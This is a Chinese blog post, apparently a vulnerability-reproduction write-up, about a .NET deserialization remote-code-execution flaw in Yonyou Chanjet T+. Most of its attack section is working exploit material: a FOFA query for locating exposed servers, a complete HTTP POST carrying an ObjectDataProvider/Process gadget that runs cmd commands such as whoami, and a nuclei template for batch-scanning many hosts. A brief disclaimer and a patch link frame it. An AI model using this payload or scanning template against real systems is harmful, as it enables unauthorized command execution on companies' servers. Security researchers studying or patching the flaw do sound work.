• 漏洞复现--用友 畅捷通T+ .net反序列化RCE


    免责声明:

    文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

    一:漏洞描述

    畅捷通T+是一款新型互联网企业管理软件。 全面满足成长型小微企业对其灵活业务流程的管控需求,重点解决往来业务管理、订单跟踪、资金、库存等管理难题。该产品存在.net反序列化可导致RCE

    二:漏洞影响版本

    用友 畅捷通T+

    三:网络空间测绘查询

    fofa:
    app="畅捷通-TPlus"
    image.png

    四:漏洞复现

    image.png
    POC:

    POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
    X-Ajaxpro-Method: GetStoreWarehouseByStore
    Host: ip
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: close
    Content-type: application/x-www-form-urlencoded
    Content-Length: 597
    
    {
      "storeID":{
        "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
        "MethodName":"Start",
        "ObjectInstance":{
            "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "StartInfo": {
                "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "FileName":"cmd", "Arguments":"/c whoami > test.txt"
            }
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    image.png
    访问执行命令的日志文件即test.txt
    image.png
    执行ipconfig /all
    image.png

    五:批量检测

    id: changjietong_GetStoreWarehouseByStore_rce
    info:
      name: 用友 畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞
      author: mhb17
      severity: critical
      description: 
    variables:
      file_name: "{{to_lower(rand_text_alpha(8))}}.txt"
    requests:
      - raw:
          - |-
            POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
            X-Ajaxpro-Method: GetStoreWarehouseByStore
            Host: {{Hostname}}
            Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
            Connection: close
            Content-type: application/x-www-form-urlencoded
            Content-Length: 577
    
            {
              "storeID":{
                "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
                "MethodName":"Start",
                "ObjectInstance":{
                    "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                    "StartInfo": {
                        "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                        "FileName":"cmd", "Arguments":"/c whoami > {{file_name}}"
                    }
                }
              }
            }
          - |+
            GET /tplus/{{file_name}} HTTP/1.1
            Host: {{Hostname}}
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
    
        req-condition: true
        matchers:
          - type: dsl
            condition: and
            dsl:
              - 'contains((body_1), "System.ArgumentException") && status_code_2 == 200'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44

    此脚本来自揽月安全团队
    image.png

    六:修复建议

    目前官方已发布补丁更新,建议受影响用户尽快安装
    https://www.chanjetvip.com/product/goods/detail?id=6077e91b70fa071069139f62

  • 相关阅读:
    【HTML】HTML网页设计---海贼王动漫前端设计
    一觉醒来发现Github要废弃Trending Tab
    Chrome 浏览器验证一个Xpath表达式是否正确
    Excel 数据透视表教程大全之 04 按日期分组(教程含样本数据)
    【MySQL技术专题】「索引技术」体验前所未有的技术探险,看穿索引的本质和技术体系(1)
    ROS2 中的轻量级、自动化、受控回放
    linux shell 脚本 入门到实战详解[⭐建议收藏!!⭐]
    蓝桥等考C++组别一级009
    【新手友好】用Pyspark和GraphX解析复杂网络数据
    NodeRed Modbus学习一(配置Modsim32)
  • 原文地址:https://blog.csdn.net/qq_53003652/article/details/134031230